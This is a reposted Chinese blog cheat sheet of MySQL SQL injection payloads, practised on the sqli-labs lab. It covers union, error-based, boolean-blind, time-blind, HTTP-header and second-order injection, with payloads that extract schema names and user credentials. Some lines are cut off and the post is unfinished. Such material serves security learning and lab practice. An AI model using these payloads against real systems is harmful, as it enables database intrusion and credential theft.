




SQL注入大法

转载

@Return  于 2021-01-12 16:18:08 发布  50  收藏

文章标签: [sql](#)

原文链接: <https://blog.csdn.net/ga421739102/article/details/102817334>

版权

文章目录

- 0、重要的函数
- 0、Mysql字符串函数
- 0、重要的数据库
- 0、重要的表
- 1、UNION query SQL injection（可联合查询注入）
- 2、Error-based SQL injection（报错型注入）

数据库报错注入版本限制

extractvalue()

updatexml()

floor()

exp()

GeometryCollection()

linestring()

polygon()

multipoint()

multipolygon()

multilinestring()

- 3、Boolean-based blind SQL injection（布尔型注入）

- 1、判断长度

- 2、猜测内容

- 4、Time-based blind SQL injection（基于时间延迟注入）

Sleep()

Benchmark(ket,)

笛卡尔积 Writeup

GET_LOCK Writeup

RLIKE

- 5、Stacked queries SQL injection（可多语句查询注入/堆叠注入）

- 6、其它注入

- 1、http头部注入

- 1、User-Agent 头字段注入

- 2、Referer 头字段注入

- 3、Cookie 头字段注入

- 4、二次注入

没写完

0、重要的函数

```
version()    # mysql 数据库版本
database()  # 当前数据库名
user()      # 用户名
current_user() # 当前用户名
system_user() # 系统用户名
@@datadir   # 数据库路径
@@version_compile_os # 操作系统版本
```

1
2
3
4
5
6
7

0、Mysql字符串函数

```
length()      # 返回字符串的长度
substring()
substr()      # 截取字符串
mid()
left()        # 从左侧开始取指定字符个数的字符串
concat()      # 没有分隔符的连接字符串
concat_ws()   # 含有分隔符的连接字符串
group_concat() # 连接一个组的字符串
ord()         # 返回ASCII 码
ascii()
hex()         # 将字符串转换为十六进制
unhex()       # hex 的反向操作
md5()         # 返回MD5 值
floor(x)      # 返回不大于x 的最大整数
round()       # 返回参数x 接近的整数
rand()        # 返回0-1 之间的随机浮点数
load_file()   # 读取文件，并返回文件内容作为一个字符串
sleep()       # 睡眠时间为指定的秒数
if(true,t,f)  # if 判断
find_in_set() # 返回字符串在字符串列表中的位置
benchmark()   # 指定语句执行的次数
```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

0、重要的数据库

```
information_schema # 重要的数据库
```

1

0、重要的表

```
schemata # 数据库信息  
schema_name  
##  
tables # 表信息  
table_schema  
table_name  
##  
columns # 字段信息  
column_name
```

1
2
3
4
5
6
7
8
9

1、UNION query SQL injection（可联合查询注入）

优点：查询方便 速度很快

缺点：必须要有显示位

1、判断sql语句中共返回了多少列

```
order by 3 --+
```

1

2、查看显示位

```
union select 1,2,3 --+
```

1

3、爆数据

```
union select 1,version(),database() ## mysql版本号, 当前数据库名
```

1

192.168.111.128/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+

在显示位上输入一些函数
就可以查询到对应的数据了

Welcome Dhakkan
Your Login name:5.5.53
Your Password:security

4、爆库名

```
union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+ # 爆出一个数据库  
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+ # 爆出全部数据
```

1
2

5、爆表名

```
union select 1,database(),(select table_name from information_schema.tables where table_schema = databa  
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_s
```

1
2

6、爆列名

```
union select 1,database(),( select column_name from information_schema.columns where table_schema =data  
union select 1,database(),( select group_concat(column_name) from information_schema.columns where tabl
```

1
2

7、爆数据

```
union select 1,database(),concat(id,0x7e,username,0x3a,password,0x7e) from users limit 0,1 --+ # 从
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3a,password,0x7e)) from users)
```

1
2

2、Error-based SQL injection（报错型注入）

数据库报错注入版本限制

报错函数	数据库版本（只验证了5.0.96、5.1.60、5.5.29、5.7.26、8.0.12）
extractvalue	5.1.60、5.5.29、5.7.26、8.0.12
updatexml	5.1.60、5.5.29、5.7.26、8.0.12
floor	5.0.96、5.1.60、5.5.29、5.7.26
exp	5.5.29
GeometryCollection	5.1.60、5.5.29
linestring	5.1.60、5.5.29
polygon	5.1.60、5.5.29
multipoint	5.1.60、5.5.29
multipolygon	5.1.60、5.5.29
multilinestring	5.1.60、5.5.29

缺点：必须有数据库报错信息

extractvalue()

1、爆数据

```
and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ # 当前数据库
```

1

2、爆库名

由于显示长度会限制，太长的话不会显示全

```
and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) -
```

1
2

3、爆表名

```
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=dat
```

1

4、爆列名

```
and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema
```

1

5、爆数据

```
and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x
```

1

updatexml()

1、爆数据

```
and updatexml(1,concat(0x7e,(select version()),0x7e),3) --+ # 当前版本
```

1

2、爆库名


```
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3) --
```

1

3、爆表名

```
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=databa
```

1

4、爆列名

```
and updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =da
```

1

5、爆数据

```
and updatexml(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)
```

1

floor()

1、爆数据

```
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database()),0x7e))) from in
```

1

2、爆库名

```
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e, schema_name, 0x7e)
```

1

3、爆表名

```
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e, table_name, 0x7e)
```

1

4、爆列名

```
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e, column_name, 0x7e)
```

1

5、爆数据

```
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23, username, 0x3a, pas
```

1

exp()

```
and (select exp(~(select * from(select version())x))); --+
```

1

Welcome Dhakkan

DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'

GeometryCollection()

```
and geometrycollection((select * from(select * from(select version())a)b)); --+
```

1

Welcome Dhakkan

Illegal non geometric '(select `b`.`version0` from (select '5.5.29' AS `version0` from dual) `b`)' value found during parsing

linestring()

```
and linestring((select * from(select * from(select version())a)b)); --+
```

1

Welcome Dhakkan

Illegal non geometric '(select `b`.`version0` from (select '5.5.29' AS `version0` from dual) `b`)' value found during parsing

polygon()

```
and polygon((select * from(select * from(select version())a)b)); --+
```

1

Welcome Dhakkan

Illegal non geometric '(select `b`.`version0` from (select '5.5.29' AS `version0` from dual) `b`)' value found during parsing

multipoint()

```
and multipoint((select * from(select * from(select version())a)b)); --+
```

1

Welcome Dhakkan

Illegal non geometric '(select `b`.`version0` from (select '5.5.29' AS `version0` from dual) `b`)' value found during parsing

multipolygon()

```
and multipolygon((select * from(select * from(select version())a)b)); --+
```

1

Welcome Dhakkan

Illegal non geometric '(select `b`.`version0` from (select '5.5.29' AS `version0` from dual) `b`)' value found during parsing

multilinestring()

```
and multilinestring((select * from(select * from(select version())a)b)); --+
```

1

Welcome Dhakkan

Illegal non geometric '(select `b`.`version0` from (select '5.5.29' AS `version0` from dual) `b`)' value found during parsing

3、 Boolean-based blind SQL injection（布尔型注入）

1、判断长度

1、判断当前数据库的长度

```
and length(database())=8 --+
```

1

2、判断当前数据库里有几张表

```
and ((select count(*) from information_schema.tables where table_schema=database())=4) --+
```

1

3、判断每张表的长度

```
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))
```

1

或

```
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=
```

1

4、判断表"users"的列数

```
and ((select count(*) from information_schema.columns where table_schema=database() and table_name='use
```

1

4.1、判断某张表的列数（以下也是以表"users"为例）

```
and ((select count(*) from information_schema.columns where table_schema=database() and table_name=(sel
```

1

5、判断某张表里对应的字段的数据的长度

```
and length((select username from users where id =1))=4 --+ # id=1, 这个用户名的长度为4
and length((select password from users where id =1))=4 --+ # id=1, 这个用户名的密码的长度为4
```

1
2

2、猜测内容

1、猜测当前数据库的名字

```
and ascii(substr((select database()),1))=115--+
```

1

2、猜测某张表的表名（表users位于第四个）

```
Welcome Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3
```

```
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit
```

1

3、猜测某张表里的某个列名（以username为例，位于第二个）

```
Welcome Dhakkan
Your Login name:id,username,password
Your Password:3
```

```
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and
```

1

3.1、猜测某张表里的某个列名（以表" users "里的字段" username "为例）

```
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and
```

1

4、猜测某张表里列名为" username "的数据

```
and ascii(substr((select username from users where id =1 ),2))=117 --+ # 以" Dump 为例"
```

1

或 □

```
and ascii(substr((select username from users limit 0,1),1)) = 68--+
```

1

4、Time-based blind SQL injection（基于时间延迟注入）

1、注入点判断

```
and sleep(5) --+ # 注入点正确时，页面卡住5秒中
```

1

2、if(表达式, 值1, 值2)

可以与盲注结合，形成基于时间的盲注

```
and if(length(database())=8,sleep(5),1) --+ # 表达式为Ture时，页面卡住5秒。否则页面卡住一秒
```

Sleep()

```
and sleep(5); --+
```

Benchmark(ket,)

```
and benchmark(10000000,sha(1)); --+ # 大概延迟3, 4秒的样子
```

笛卡尔积 Writeup

延迟不精确, count() 数量大时, 费时就高。count()数量小时, 费时就低。

```
and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schem
```

GET_LOCK Writeup

优点: 延时精确可控

缺点: 利用环境有限, 需要知道被锁住的表才行

表'www'表被锁住的前提下, 才会延迟3秒后进行判断(0=1)。否则不延迟就进行判断 (1=1)

```
and get_lock('www',3)=1 --+
```

RLIKE


```
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); #还没验证
```

1

5、Stacked queries SQL injection（可多语句查询注入/堆叠注入）

6、其它注入

1、http头部注入

前提：需要登录的账号密码都对

1、User-Agent 头字段注入

Less-18

```
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错型注入
```

1

2、Referer 头字段注入

Less-19

```
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错型注入
```

1

3、Cookie 头字段注入

Less-20

```
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错型注入
```

1

4、二次注入

Less-24

1、创建一个对应的用户'#'。改这个新创建的用户的密码。对应的用户密码就会被更改，这个新建的用户的面膜没有被更改
例如：

```
| username | password |
|-----|-----|
| Dumb    | "        |
| Angelina| I-kill-you|
| Dummy   | p@ssword  |
| secure  | crappy    |
| stupid  | stupidity |
| superman| genius    |
| batman  | moh!le    |
| admin   | www       |
| admin1  | admin1    |
| admin2  | admin2    |
| admin3  | admin3    |
| dhakkan | dumbo     |
| admin4  | admin4    |
| admin#  | 666       |
| admin'# | 233       |
```

发现被改了密码的账号是这个。

创建这样的一个用户，并把密码改成www。

版权声明：本文为博主转载文章，遵循 CC 4.0 BY-SA 版权协议。

原文链接：<https://blog.csdn.net/ga421739102/article/details/102817334>